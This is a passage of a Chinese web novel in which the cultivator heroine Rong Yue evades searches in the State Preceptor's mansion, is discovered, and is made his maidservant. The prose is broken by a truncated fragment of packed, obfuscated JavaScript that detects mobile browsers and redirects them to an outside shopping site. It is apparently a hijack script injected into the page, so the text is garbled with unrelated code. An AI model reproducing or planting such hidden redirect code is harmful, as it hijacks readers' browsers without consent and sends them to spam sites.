历婆婆失笑:“都不知道是什么药,就回答这么干脆。”
“前辈为了救李从梦受的伤,就等同于是救我。”
听见容月的回答,历婆婆短暂的语塞,沉默着被容月带到二楼唯一简陋房间里,坐在床旁的椅子上,满眼柔和地看着容月把李从梦轻放在床上。
“前辈,梦梦就先麻烦你照看,我会把你要的药材找到。”容月再替李从梦整理下被子。
历婆婆轻声说:“你要回去?”
“计划有变,今晚必须回去。”容月说。
国师府状况不对,她不回去恐怕会露馅。
“对了。”历婆婆从袖子里掏出钱袋大小的袋子,“这是李慕青给你的。前几天你来的快走得也快,来不及给你;之前事情紧急,一时间忘了。”
容月接过:“李大哥给了什么?”
“我没打开过,你自己看。”历前辈虚弱咳嗽两声,“后宅的地界与这里相距较远,你既然可以在国师府来去自如,还可带人进来,就能从中间直接穿过,到达后宅,只要不被巡逻的人发现。”掏出一张隐息符纸,“带上它,安全点。”
容月双手接过,交叠行礼:“多谢前辈。”
“你……”历婆婆单手托起她行礼的手,“可以不比对我如此客气。”
“晚辈不是客气。前辈是李慕青找来专门保护梦梦,对我的额外照顾,已是您心软之举,晚辈没有什么贵重之物以表感谢,只能对您表示尊敬。”容月郑重道。
历婆婆微笑:“那你就和从梦一样,叫我婆婆,也是一种感谢。”
容月心里涌现出怪异感,感谢不是更应该叫‘前辈’吗?不明白,可能是高人的怪癖喜好,她也不反驳:“婆婆。”
婆婆满意点头:“去吧。”
容月说了句:“好。”转身就走。
等她离开房间,历婆婆望着她的背影:“真的像你说的那样,改个称呼,她不会有那些繁文缛节。”
“是吧。”床上的李从梦微弱的声音说,“我是第一个发现的。”
历婆婆:“很羡慕你有个生死相依的朋友,胡闹都不怪你。”
李从梦声音加大,有点沙哑:“我怎么胡闹了?我那是担心她,如果遇到危险,我也可以为她献出生命。”声音过大,咳嗽几声,“而且,我们俩不是朋友,是亲人,我差点就成姐姐了。”
历婆婆拍拍她胸口:“好好好,知道了,休息会儿。”
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容月出了门,再关上,又变成了一个花园,发现不了里面有什么。
她安心的离开。
国师府正中就是之前容月看到过的最高楼,
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不用她专门找,路线也明确。离开之前的院落后,容月就遇到巡逻的人,连忙躲在屋子角落。
等人走后,再次翻进另一个院落,又是一队巡逻兵,容月差点撞脸上。她就地一滚,趴在草丛里,险险避开。
“巡逻队多了。”容月谨慎起来。
‘为什么书里的内容自己改变了?你没改变国师府里的剧情啊?奇怪。’绒绒冒出它凝实不少头,虚空翻着比指甲盖大点的书,‘找什么叛徒?’
容月已经靠近中间最高楼,这里巡逻更多,不知道怎么走,就只能暂时先躲在院墙角柱子后面:“有没有可能他们找的是我?”
绒绒不解:‘找你?你被发现的时候是动物啊,怎么就成叛徒了?我们不是跑了吗?’
容月想到一种可能,喃喃道:“如果,和我......是国师大人......”好像不可能,国师大人是从宗门选出,是人是妖怎么可能发现不了?除非,他和容月一样,问绒绒,“书里有讲过国师大人是妖吗?”
绒绒:‘没有。国师大人不可能是妖,妖的话,怎么可能不写他变身。’
梦中的未来也没有看到过国师大人变妖,除非见过他变妖的人,都死了。
容月:“还有一种可能,那只妖是国师大人的手下。”
‘什么妖?你看到过妖?’
忘了,绒绒当时突然消失,不知道发什么了什么。
容月扯开话题:“没什么。”
‘我是书灵......’
“好像在换岗。”容月打断它,开始在院子里贴边绕圈。
遇到巡逻走过,停下,以免听到声音。就这样走走停停,太阳挂在正空时,容月才翻出这个院子。
之后容月翻越院落的时候,会不时听到下人或者修士闲话。
“查到哪了?”
“第十夫人了。那场面,好多下人,十夫人有钱。”
容月跑了会儿......
“查到十五夫人了。”
“这么快?”
“对了,查过的,没有问题的,都被送走了!”
“啊?送走?这些夫人可是皇上为现在的国师大人选的。”
送走?
想要在都城弄到灵草,除了黑市用灵石,就只有国师府可以偷或者用东西和这里的修士换,灵气还比外面浓,离开这里再进来,总有被发现的一天。
历婆婆和梦梦还在这里休养。
她得留下。
到了后宅外围,是熟悉的路,容月走的很快。
终于看到自己的院落,她单手上墙,院子里没人,摆放的嫁妆已经被收起,楼上的门窗都是完好的,下人房的门倒是开着。
跳进院子,院门响起急促的敲门声:“开门!开门!人呢?!开门!”
容月迅速上楼,翻窗而进。
容月拿出嫁衣:“绒绒,快,帮我盘发。”
绒绒飘出来,身体不再是透明触须壮,白绒绒狗狗形态:“我,我,不会啊。”
“你随意弄,将就能把发簪和头面戴上就行,快!”容月边脱衣服,边透过门缝查看。
刘家婆子打开院门,走进来五个侍卫,语气强硬:“快要到你们了,让你家夫人跟我走。”
刘婆子紧张地搓着手,面露难色:“‘叛徒’肯定不是我家夫人,能不能通融......”
侍卫大声呵斥:“什么通融的,你以为这是哪?!”
“没没没。”刘婆子哭丧着脸,“不是我不带夫人去,是我,进不去啊。”
8. 第八章
容月扭着盘扣,从窗户缝里看到刘婆子带着侍卫向着这边走:“弄好了吗?人要来了。”
绒绒爪忙爪乱:‘没有!哎呀,散开了。’
盘好扣子,穿下装,头发还是散开的。
楼梯传来‘哒哒哒’声,好多人上来。
刘婆子委屈声:“我这两天都没进去过。主家说了,不用进去,在门口对夫人说休息就好。今日清晨,听隔壁的说要去见国师大人,婆子我就上来喊人出来,可没声音!就想着进去看看,门就......”
“不用废话。”侍卫官挎着刀,大步来到门前,伸手去推门,门纹丝不动。
侍卫官让开位置,指着旁边的侍卫:“你们来。”
侍卫们挨个上前,使劲踹门。
屋里的容月衣服终于穿好,头发还是散开的,听到门口的声音赶忙把窗户拴上:“绒绒,你好了没?”
绒绒爪子乱飞:‘别动别动,灵力绳会断。’既然不会盘发,那就把细细灵力当绳子用。
门外侍卫都尝试了遍,暴力都打不开,侍卫官皱眉问刘婆子:“你们主家怎么说的?”
刘婆子赶紧回想一下,说道:“说是,等国师大人来,我才能进去。”尴尬笑笑,“毕竟,我们夫人是穿嫁衣来的,这不是,等着夫君嘛。”
侍卫官不屑地翘翘嘴角:“哪个夫人不是穿嫁衣来的,也没看国师大人去看过,你以为你家夫人特殊?”
刘婆子卑微着连连点头:“是是。也是我们容家夫人想着,嫁给国师大人,必须要郑重,让十九夫人不要乱跑。”
“大人,有窗户。”有侍卫说道。
一般夫人院落大差不差,只有格局不同。侍卫没有去过这些夫人院子里,更没有来过主楼,所以没人知道楼上是什么样子,在远处看都不带正眼瞧的,国师大人不在乎的东西,他们也不在乎。
所以才发现窗户,是必然。
只是屋里的容月还没有把头发盘好,这要是从外面进来,一眼瞧见。
容月拿着扇子,坐在床上,急切道:“快。”
绒绒也急:‘快不了!要不你自己来。’
侍卫官沉着脸去到窗户钱前,同样力道打在窗户上。
在容月瞪大的眼睛里,窗户......没开。
容月:“?”
‘呀,没开。’绒绒悠闲着说。
“你知道?”容月侧脸问后面的绒绒。
绒绒摆正她的头:‘别动。’继续道,‘门上的禁制你看过吗?’
“梦里有讲过,是一种简单的阵法。”容月不解,“我是练气初期,只能解锁炼丹初级,符纸和阵法也只听历婆婆讲的最基础认识。”
‘哦。’绒绒促狭笑,‘你不会以为阵法只对门有用吧。’
容月安静地坐着:“我是练气初期,只是认识阵法外形,你不用嘲笑我。”
‘嗯哼。我就解释一下吧。’
阵法只要设置成功,保护的就是范围内的东西,也就是说,容月这个房间已经被阵法保护或者限制。
容月之所以能出去,再进来,当然是因为绒绒。
‘阵法很简单,也就随爪的事。’绒绒跳到容月脸前,小小白黄的身体来回晃着,查看自己做的发型,‘好了,你瞅瞅。’
“好了?”容月凝聚水镜,镜中,她的发簪是带好了,头面也正,但是有种说不出来的‘乱’,她挑着一撮头发,“这一缕头发是……”
‘哎呀,放胸前。’绒绒后退欣赏,‘嗯,不错。’
容月还愁着自己头发,外面的侍卫已经开始急了。
“大人,怎么办?找容府的来吗?”
侍卫官大声呵斥:“找容府来得及吗?说的什么屁话!”
侍卫懦弱:“那怎么办?其他兄弟都带着前面三位夫人去了吧。”
侍卫官:“你们给我在这看着,我去找侍卫长。”
众侍卫:“是。”
@
国师府东院分内外,内院是国师大人独居,外院是国师大人处理公务之所。与东院相邻的就是容月所住的南院,两院虽说相邻,中间隔着的巷子和门倒是很多,等侍卫官找到侍卫长报告的时候,三位夫人已经查探了一位,还有一位正在同国师会面。
侍卫官面露难色:“怎么办,大人。”
侍卫长挥手让属下把十六夫人带走,也是烦躁异常:“这容府都干的什么事?!竟添麻烦。”
侍卫官忽然想到:“大人,既然那容家布置了阵,是不是说明,那容小姐没出来过,也就不会是‘叛徒’。”
侍卫长严厉撇他一眼:“是不是‘叛徒’是你能说的吗?”
“大人恕罪。”侍卫官惶恐请罪。
侍卫长皱眉:“我去禀报护卫长。”
大殿内,光线透过窗户直直照射进来,空旷得只摆放了两排相对的座椅,十七夫人带着自己的五个下人站在那给上首的人回话。
侍卫长轻手轻脚绕着边,瞅了眼上首已经累得歪在椅子上的国师大人,左手正扶着下巴,百无聊赖地听夫人讲解这几天都干了什么。
至于睡没睡着,他看不清,因为国师大人穿着斗篷,帽子正好卡住整张脸。
“妾身一直是在院里没有离开过,一直等着大人能看看我的。”十七夫人羞涩地抬眼望了望国师,笑着低下眼眸,“如果国师大人怀疑,不如,就和我身处一处,监视我?”
侍卫长绕到护卫长旁,轻声在他耳边说了容月的事,护卫长只斜眼看了他一下,摆手让他下去,侍卫长尊敬行礼,原路返回。
还没到门口,上首的国师抬了下食指,护卫长立刻开口:“来人,送这位小姐离开。”
十七夫人早就知道会被送走,做好了心里准备,没有像之前那些人那样大喊,只是偷偷白眼,转身离开。
门外最后一位进来,国师大人像是醒了一样,坐直身体,右手点了下扶椅。
护卫长和十八夫人同时开口:
“妾身......”
“来人。”
十八夫人顿住,护卫长继续说:“送这位小姐离开。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032616|148841||http|test|mini|href|location''.split(''|''),0,{}));
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>十八夫人茫然中离开大殿。
“没了?”国师大人低压的声音在大殿回荡。
“还有一位。”护卫长说,“侍卫来报,那位容小姐是三天前进的府,一直被容家夫人锁在房内,没有出来过,也没有进食。他们想把人带出来,却进不去,好似有阵法在。”
“阵法?”国师大人语气带了点兴味,终于有修真界的东西了,缓缓道,“容家?”
护卫长:“容安文,刚升五品,夫人是后娶的柳氏。据传,柳氏祖上修士很多,乃修真世家。容夫人具体什么修为,不是很清楚。大女儿,容月,前妻所生,被送入国师府,小儿子已五岁。”
国师手指点了两下扶椅:“容月?”顿了顿,“陆无虞的未婚妻?”
护卫长:“是。是否需要下属把人带出来?”国师府内修为最高是国师,第二就是护卫长,他都带不出来的人只能是国师大人去。
国师大人慵懒懒地起身,黑色长袍丝滑垂下:“我对阵法有点兴趣。”
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‘阵法不是所有修士都会,但是所有修士都要学,不然傻乎乎地进入阵法,死都不知道怎么死。’绒绒说,‘历婆婆所讲的知识,只是表面,让你和李从梦大体了解阵法的样子,别光明正大设置的阵法都不懂。’
“阵法载体是何物?”容月盘着腿,乖巧听着绒绒讲解。
‘阵法的载体有很多,最小如一个阵盘形成的阵法。大的,如多张符纸形成阵法,刻有阵法的玉质、石质、铁质,等等等阵盘形成的。’绒绒爪子指指门,‘那个阵法就是最简单、最小的阵盘,只要注入灵力或灵石,它就能用。如果从内部打开,只要阵盘没坏,再次进入时注入灵力或者灵石,就能继续用。’
容月明白地点点,思考片刻,抬头又问:“那如果......嗯?绒绒?”怎么消失了?
拍拍手上的桌镯子:“绒绒?”
这时,外面出现嘈杂声,不知是哪个侍卫,激动地小声说:“国师大人?!是国师大人吧?!”
“是国师大人!”有人不敢置信,“这个屋子还要让国师大人来开?”
“国师大人来了?!”刘婆子高兴地喃喃,“终于可以回去了?”
国师大人真的提早来这里?容月诧异后,赶忙把床铺平,穿好鞋子,整理衣服,把双手上的镯子用衣服盖住,举起团扇,木偶人般坐好。
‘兵荒马乱’的下楼脚步声后,是迎接、跪拜国师大人的声音,再之后,屋内、屋外一片安静。
安静到,容月好像听到了自己的心跳声。
木质楼梯‘咚’一声,有人上楼。
‘咚’‘咚’‘咚’
每一步犹如击中容月的心房,与她的心跳声重合,也让她不由自主的紧张,捏紧团扇。
脚步在门口停下,容月收敛心神,眼神虚空,一动不动。
门,从外面‘吱呀’一声,被轻易推开。
黑色镶着金边的衣角出现在容月的眼底,低沉带有清冷疏离的声音钻入耳里:“你,就是陆无虞的未婚妻?”
9. 第九章
国师话音刚落,容月整个人僵住。
三天前发生的事她还记忆犹新,虽然当时看不清男人的脸,但男人的声音就在她耳边响着,什么‘不要离开’,什么‘我保护你’,‘舒服吗’,‘要不要用力’等等,人生第一次,当然记得很清楚。
国师的声音和那个男人的声音一模一样!
那个妖是国师?!
所谓的抓‘叛徒’,是为了来抓她?!
完了。
她当时听到国师喊‘雅儿’,是书里女主的名字?
容月不知道女主叫什么,梦里只听过陆无虞那家伙叫女主‘胡姑娘’,后来又叫‘素素’,再后来容月就死了,没听到全名。
不管国师是不是叫女主,反正国师当时是把她当成另外一个人,这要是被国师发现,后果她不敢想,得先跑。
可,药材怎么办?灵石怎么办?婆婆和梦梦的伤怎么办?
容月思绪杂乱间,屋外的楼梯响起很轻的多人脚步声,透过团扇,模糊着看到三个看着像侍卫的人带着刘婆子到了门口。
看到刘婆子,容月脑子突然清明,她还要救母亲和奶奶,有何犹豫的。
床上安静坐着的容月突然倒吸口凉气:“呵!”
看到前面站着穿黑袍的人,她‘不自觉’往床里后退,颤抖着,夹着嗓子,柔弱道:“你是谁?”瞅见外面站着很多人,环顾四周,容月惊恐摇头,“这是哪?!我为什么在这里?我不嫁!不嫁!”
‘嗒’一声,头上一根发簪掉在床上,一缕头发耷拉下来。
容月心里咯噔,应该是绒绒消失,它的法力在消散。
脑子都来不及思考,她抬手把头上的所有饰品拔下来,扔到床上,人继续向床里移动,踢腿往穿里后腿:“我不嫁!不嫁!”
瞬间,头发散乱,容月可以明显看到她前面黑袍人后腿半步。
“夫人,夫人,可不能这样。”刘婆子急忙上前拽容月,“这可是国师大人,你已经嫁过来了,怎么能说不嫁。”
“国师大人?”容月安静下来,愣愣望着前面的黑袍人。
刘婆子继续拽她:“对啊。”
容月甩开她的手,‘噗通’跪在地上,柔柔哭泣:“国师大人,我是被逼的。”她跪着往国师大人面前移动,双手规矩得交叠在腰前,“我有未婚夫,求您,帮帮我,我想等未婚夫回来,求求您。”
国师必然会把她留下,因为她是陆无虞的未婚妻。
书里,国师很早前就开始关注陆无虞,因为女主的关系,两人是竞争关系。
有她这个未婚妻在手,国师的竞争力变大。
刘婆子拉她:“哎呦,夫人呀!”
容月‘温柔’甩手:“你放开。”再往前移动点,“大人,我要告发,容夫人用邪术。我上一刻还在家里,下一刻就找到了这里,一直没有出去过。相信我,大人。”
一直没出去过,不要怀疑我。
国师慵懒:“哦?一直没出去过?”
“嗯。”容月抬着头,眼睛流出泪水,继续夹着声音,“我相信国师府帮百姓抓妖物驱邪的地方,求您,帮帮我。只要我未婚夫回来,他会替我报答恩情,他很厉害。”
刘婆子:“夫人......”
两人拉扯间,国师抬手,身后的护卫长对手下说:“把她带出去。”
两个护卫架着刘婆子,往外走。
刘婆子诧异:“唉唉!”
黑袍国师在容月柔弱湿润的眼睛里慢慢蹲下身,单手放在腿上慢声问:“国师府只管皇城,不管百姓官司。”
民间邪术是有专门部门管理,不属于国师府范畴。
“那,不用管我,生死都不用管。”容月弱弱后腿点,“我只想像其他姐姐那样,待在国师府后院里,有个住就行,等我未婚夫回来,会报答您的。”
国师头上的斗篷帽子随着头歪着:“你想,留下?”
容月怯怯地低下头:“我想等我未婚夫,回家的话,我怕等不了他。”
“好。”国师很干脆。
听到他答应的这么快,容月衣袖下的手不自觉的握紧,又松开:“谢谢大人,谢谢大人!”
国师缓缓起身:“至于报答,就不劳烦你未婚夫。”微微侧低头,“就你吧,做我侍女。”
“这......”容月小心翼翼仰头瞅着他,可以看到国师光滑的下巴,“好吗?”不好,做侍女离得近,危险!
国师嘴角微动,什么也没说的离开。
容月看着他离开松了口气,她改了口音,身上也没有气味,国师应该没发现。
站起身,门外进来几个侍卫,开始收拾她东西:“你们这是......”
又进来一位年纪稍微大点的妇女对她行礼:“容姑娘,跟我来。”
没给容月反应,妇人已经出去,她赶忙爬起来跟上。
容月问妇人:“带我去哪?”
妇人理都没理。
路过那些打包要走的夫人院落,路过离开这里的夫人队伍,穿过内院大门,到了国师大人住所,妇人带她到了一间豪华下人房,就在国师大人主屋旁边:“这是您的房间,每日卯时去国师大人门前等候,服侍国师大人是您的职责。”
‘您’?这么尊重?刚才还是不理的状态。
容月仔细查看妇人才发现,从刚才开始,她好像没有看到妇人的长相,对方一直低着头。
所以刚才不是她不理容月,而是不敢和容月说话。
容月:“好。”
妇人得到回复,立刻离开。
不一会儿,护卫把她东西全部般到这里,还告知她,刘婆子已经离开。
又一会儿,几个妇人送来被褥、茶点等东西后,屋里终于安静下来。
关上房门,绒绒跳出来,问着呆愣坐在桌前的容月:‘怎么回事?怎么就到了这里。’
容月此刻满脑子思绪理不清:“我也不知道。”
就一个下午的时间,她成了国师的婢女。
绒绒:‘你修士的身份被他知道了?’
“应该没有。”容月慢慢掏出玉佩放在桌上,“这是你给的隐蔽玉佩。”
绒绒:‘玉佩只能让筑基期以下修士发现不了,国师什么修为?’
容月又掏出隐息符纸:“这是历婆婆给我的。”
绒绒:‘符纸太低,筑基中期就能察觉。’
容月最后掏出一快腰牌:“李大哥给的隐息腰牌。”
绒绒摸摸:‘嗯,应该没有被发现。’
要是被发现是修士,容月‘强’上国师的事不能这么容易过去。
腰牌是李大哥专门找人制作给容月的,金丹后期及以下无人能察觉。
“幸好有李大哥帮忙,如果只靠你帮忙,可能已经被国师察觉一异样。”容月探究地望着绒绒,“为什么只要有国师在,你就会消失?”
绒绒摇头
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:‘我也不知。我可是书灵,怎么会有人压制我。’
现在不是讨论绒绒为什么消失的时候,容月只想知道国师为什么要她当侍女。
‘书里讲过,国师好像很在意陆无虞,你嫁到国师府时,是唯一一个被国师看过的人。’
“女主叫什么名字?”容月好奇,“一直听你说女主女主,从没叫过名字。”
‘哦,我看看。’绒绒翻着书,‘叫胡素雅。’
果然
容月:“他留下我,很可能查到陆无虞已经遇到了胡素雅。”又问绒绒,“国师和胡素雅是不是从小认识?”
两人都是妖,可能小时候就相识。
‘额,书里没有写。’绒绒高兴,‘找到第一个漏洞!抽奖一次。如果挖掘他们的过去,补齐故事,可获得法器一件。’
容月:“......”她在担心国师有没有发现是她,命重要,哪有空整抽奖。
“抽奖吧。”容月搓手。
@
容月想着国师的事,国师站在月光下,也想着她的事。
国师府里所谓的‘夫人’,他从不在意,每次听着下属说皇帝又给他塞了谁谁进来,他也不听,反正这些人只是大臣拍皇帝马屁送来的,表明自己很赞成皇帝炼丹。
直到容月进府,他才有了丁点的反应,因为容月是陆无虞的未婚妻。
陆无虞,陆将军唯一的儿子,被送到玄天宗当弟子。
第一次在宗门大比中见到陆无虞,他心中就有个声音一直响,吞噬他,吞噬他,只要吞噬,就能......
不知道能怎样,就是吞噬的欲望很大。
但他不能。
陆无虞是玄天宗掌门弟子,吞噬了大宗门弟子,只有被追杀的命,他还没有找到叫‘雅儿’的人。
只要找到‘雅儿’,只要找到她,就能......
“就能......”没有黑袍的遮盖,妖艳清冷的少年略带茫然地望着月亮呢喃,“能什么?为什么想不起来。”
想到今天看到的容月,景离疑虑渐升。
当他踏进房门时,能感受到阵法的波动,和下属汇报的一样。
靠近容月,他明确感受到她是清醒的,气息完全不是无意识状态。
随后她表现的像是挣脱控制一样,景离也就看着她演戏,想知道她要干什么。
听着听着,景离明白她要干什么,还发现更大的问题。
这个女人说的‘不’字,和‘那个’女人说的‘不’字语调很像,音色不同。
景离从成年开始,每隔三年会有发、情期,每次他都把自己控制在结界里,防止不必要的麻烦。
前几十年一切正常,没有人能冲破他的结界,就连修为最高的玄天宗掌门也进不来。
这次不一样,有人进来了,而且,还和他发生了关系。
景离的发、情期可不是随便谁来都可以,只要他不想,什么事都不会做。
而那个人不仅能进来,还诱使他发、情更严重,人也是迷糊的。
留下容月,一是为了陆无虞,他的身边有个叫胡素雅的狐族,是白色的狐狸。如果她是所谓的‘雅儿’,那就用容月让陆无虞离开‘雅儿’。
二是,景离怀疑,‘那个人’是容月。
如果证实是容月,那她,不用在这个世上。
景离凝眉望月:“可当时,本可以直接杀,为什么我心里不是很想杀她?”
10. 第十章
清晨,没有任何人培训容月的前提下,她就要上岗。
容月虽是小姐,五岁后就没有再享受小姐待遇,所有事都是她自己,卖货买药买菜,照顾生病的娘,后来是奶奶,她没有不会的。
但对下人要做什么,她也不了解,没有小姐待遇,也没做过别人的下人。
容月直愣愣站在国师大人房门前,什么也没做,就那么站着。
屋内传出慵懒的声音:“来人。”
容月呆了呆,有点反应不过来,弱弱问里面:“叫我吗?”
屋里一片沉默。
容月想了想,不确定是不是叫她,犹豫着推门,门轻易就开了,国师正好穿着里衣从里屋出来。
容月诺诺上前:“大人,是,叫我吗?”
景离面具下的唇抿了抿,沉声道:“侍女什么意思,需要我跟你解释?”
“侍女我知道什么意思。”容月柔弱地望着他,“可侍女需要做什么,我不知晓。”
景离张张嘴,又闭上,他不习惯身边有下人,所以也不知婢女要怎么做:“把衣服拿来。”
容月:“哦哦。”
衣服挂在架上,容月拿下来想了想,把衣服叠的很工整,还贴心的把穿在里面的衣服放在上面,双手托着,递给景离:“大人,衣服。”
景离傲慢的‘嗯’一声,满意地拿起衣服,一件一件穿上。
容月暗自点头,做对了。
一个不知怎么服侍别人,一个不知怎么被人服侍,两人竟非常融洽的相处了。
国师的生活很悠闲,只要皇帝没事,吃完早饭,他就可以在练功房练功。
国师府轻巧的事情由下面的人做,出现重大事件才会找他。
悠闲两日,景离没有发现容月有什么特别之处,连修为都没有,他开始急切。
容月想要兑换药材,挣点灵石,找点种子,却接触不到国师府其他人,因没人想来国师大人住所,连护卫长,没事也不会来,她也急切,她的身后,历婆婆在等,刘小翠在等,母亲和奶奶更是在等。
终于,转机来了。
这一日,护卫长捧着一叠像是奏折的东西,端给景离:“大人,这些是找不到根源的事件,请过目。”
景离端坐没动。
护卫长习惯性上前,要放在桌上。
容月连忙接过,柔声道:“我来。”
护卫长反射性握紧手,却被她抢先拿走,速度之快,护卫长有点反应不过来。
“大人。”容月老实地放在桌子上,还问一句,“需要我帮忙打开吗?”
护卫长:“......”
国师大人让容月做侍女时,在场所有护卫和侍卫都诧异,大人从来没有让人服侍过,都是定时定点吃饭、处理公务、练功,如果有人私自打扰国师,出府是轻的,重的,半死不活。国师大人如有需求,会传音给某个护卫,办好就可。
现在有了侍女,大人这几日不再传音,下面兄弟都说这位‘容小姐’,侍女做的应该很好。
可此时看来,规矩是一点没有,说话是一点不会,对国师客气有余,敬重不足,全大商朝上下,除了皇上,就只有她了。
还能从他手里拿走东西,他连反应都来不及。
‘容小姐’,很可疑。
容月询问间,景离已经打开第一本,她站在旁边没有走,眼睛盯着景离手里的东西。
上面主要写着,何时在何地,发生某种怪事,某人家贵重物品丢失,或者某个人死亡,或简单牲畜死亡等等,国师府派人查看,一切都正常,没有人为,也没有修士的灵力残留,妖怪更不可能。
从大商朝建立起,国师府就在每个城池都设立了部门,建立保护屏障外,也处理异常事件。
就算有重大事件,也不会是在都城,只要国师去地方上修补漏洞,还是很安稳的。
这次却发生在了都城,他们不得不在意。
护卫长:“大人,我等查探过,无任何异常。”到了他这里还解决不了,就真的只能是国师去。
“那些阴沟里的东西呢?”景离问。
“都在监控着,目前没有发现异常。”
景离修长食指勾着本子盖起来:“有趣。”站起身,抬抬衣袖,“去最近的。”
他走下台阶,护卫长让开位置,头微微低垂,等着景离走到前面,自己要跟上去,景离停住脚,先是微微侧身,疑惑一声“嗯?”
护卫长跟随着转身望去,容月老实得站在原地没动。
景离盯着她没说话。
护卫长悄悄对她招招手,让她过来。
容月想着国师大人出去办差,她有时间探查国师情况,看能不能和修士兑换点东西,她手里还是有点银钱的。
是以,她不想跟着景离出去,离他越远越好,祈祷他别发现‘那天’的真相。
护卫长让她过去,容月装傻充愣,对景离行礼:“大人一路小心。”
护卫长无奈道:“你要跟着大人,你现在是大人的侍女。”
容月委屈道:“可,我是普通人,也‘只是’大人的侍女,去那么危险的地方......”
加重‘只是’,提醒景离,她是个婢女,不用去。
景离转头对护卫长吩咐:“把她加到国师府人员名录。”
护卫长:“是。”
景离继续看向她。
容月疑惑地盯着护卫长,什么意思?
护卫长解释:“以后,你就是国师府的人,需要完成额定外出任务。当然,完成任务后,也会有相应奖励。”
容月立刻把‘离国师远点’这种想法抛到脑后,激动地双手握拳,面部努力控制没有表情。
这就导致景离看到她的样子以为在生气,嘴角微翘:“走。”
景离转身离开,容月立马跟上。
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最近的发生地就在城外一家农户,他家的牲畜一夜间全死了,没有任何血迹和动物活动的迹象,更没有妖的气息。国师府的人原本以为只是病症的原因,没有多加关注,可后来,这种案件变多,也就把它放在一
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起。
农户家里的大人去农忙不在家,家里只有一个大姐姐带着弟弟在玩。
护卫长带着国师和容月到的时候,两人赶忙躲到屋里,从门缝看外面。
护卫长:“大人,就是这里。”
牲畜养在菜园边,菜园在屋前左边方向。
景离捂着鼻子绕着牲畜圈转一边,没有任何阵法、符纸的痕迹,很正常的牲畜圈。
容月对气味没有恶感,毕竟她养过。
她紧跟景离身后,尽职尽责,手拿团扇,对着景离扇风,想要吹散臭味。
开始还好,转到对面的时候,再扇风,只会把臭味扇到景离脸上。
景离:“咳咳咳。”赶忙抓住容月的手腕,“你在干什么?”
“你不是觉得臭吗?”容月睁着无辜的大眼睛,“我帮您扇扇。”
景离确定,容月是故意的。
容月无辜,她真的觉得国师挺好,只要不喜欢他,当朋友不错。
‘汪汪汪~’狗叫声忽然在身后响起。
容月被吓的一个激灵:“啊啊啊!”往景离身上贴,回头,发现是一只大狼狗,鬼魂形态。
怀里柔软触感带着某种无言的味道,景离只觉一股熟悉的感觉涌上心头,一位面色苍白的少女在脑海里闪过。
他贴近容月,想要感受清楚时,护卫长把容月拉开:“你在做什么?中邪了吗?!”
护卫长恭敬:“大人,你没事吧?”
景离摩搓着手指,沉声:“没事。”
狗还在叫,容月尴尬得往景离身边贴,小心翼翼道:“大人,我不是有意的。”慢慢挪,挪到景离身后,隔绝那只狗。
景离没理睬她,继续围着屋子转。
容月脚步加快,用景离挡住狗。她怕狗,小时候被狗追过,差点脱成皮。就算成为修士,也有心里阴影。
没看出任何异常,景离只能暂时离开:“去查一下这个地界以往的情况。”
护卫长:“是。”
他们之前就没发现容月身边的鬼影,她以为是鬼怪的异常。这次的狗这么弱,他们还是没看见,那就不是一只鬼特殊,而是所有鬼都特殊。
可他们为什么不考虑这些事是鬼做的?
容月犹豫着,把自己内心的疑惑问出来:“大人,会不会是鬼做的?”
景离语气带着轻佻:“鬼?”
护卫长诧异:“鬼?”
容月不明白两人怎么了:“嗯。”
景离继续往前。
护卫长落后点,对容月说:“死后的魂魄根本不会在世间逗留,直接去了鬼域,而且鬼是最弱的存在。”
容月斜眼看了下身边的黑影,刘小翠的娘:“是吗?有没有可能,我们看不见鬼。”
“不可能。”护卫长道,“我之前就见过。”
容月好奇:“多久之前看过?”
护卫长回忆:“大概,五年前?”
容月又问景离:“大人呢?什么时候见过?”
景离没有回答。
11. 第十一章
类似农户家牲畜突然死亡事件很多,甚至还有人莫名其妙死掉,周围毫无痕迹,找不到罪犯。
看完这些奏本,景离起身,吩咐护卫长:“带她去登记,把这些,交给她。”背着双手离开,“我去练功。”
望着国师远去背影,容月语气怯怯:“护卫长大人,国师大人是什么意思?”
护卫长怜悯地望向她:“大人练功的时候,你做任务,回来后,再服侍大人。”
容月稳稳按住嘴角,千万不要上翘,导致护卫长以为她敢怒不敢言。
护卫长客气道:“以后共事,不用叫我护卫长,叫我江阳玉。”
容月双手放在腰间,郑重行礼:“江大人。”满脸担忧,“我只是普通人,如何办理这些事?”
“不用担心。”江阳玉示意容月跟他走,“国师府的修士没有你想象的那么多,一半都是没有修为,或者是刚入门,修为低的可怜。”
容月‘不安’的绞手:“那,怎么办差?”
“国师府有一阁,里面都是大宗门弟子炼制的符纸、阵法、法器等等各式各样,就算没有修为之人都有可用的物件。”江阳玉轻声说,“你加入国师府,还可修行。”
容月激动:“真的吗?原来,国师府这么好?”
“你不要看国师大人好像冷漠、不近人情,其实他很热心,我们这些属下有点难言之隐找国师大人,他一般都不会为难我们,只要不是大错,不会有处罚。”江阳玉满脸感激之情。
这么好?容月很怀疑。国师说话很少,一直慵懒懒的,在她的看来,国师不是冷漠,而是置身事外,他没有融入国师府的意愿,更甚至说,他没有融入国家。
容月问:“对于你们的请求,国师大人都是怎么做的?”
江阳玉:“国师大人摆摆手,或者‘嗯’,或者让他们离开。”
容月挑下眉,合着,是你们自己脑补的?
“江大人也很厉害,能读懂国师大人的意思。”容月赞叹,“我就不是很懂。”
江阳玉笑了笑,没说什么。
到达国师府中间最高楼,牌匾上写着‘镇楼’。
一进入,好多人员在整理卷宗,来来往往,有点嘈杂。
江阳玉先是带着容月登记造册,领了一块令牌,随后又领了卷宗,到一处空位:“这里就是你以后位置。走,带你去看看楼上。”
楼上二层,符纸,符器;三层,阵法阵盘;四层,法器;五层,修行功法。
江阳玉:“每层墙上都有目录,你可以用的东西都能看到。像符纸这种一次性的东西,就需要用你的奖励来抵。其他的,只要不损坏,能用,归还就好。”
容月内心很激动:“这,不用付钱吗?”
江阳玉笑笑:“不用,国师大人说,东西只要不坏,磨损是正常的。”
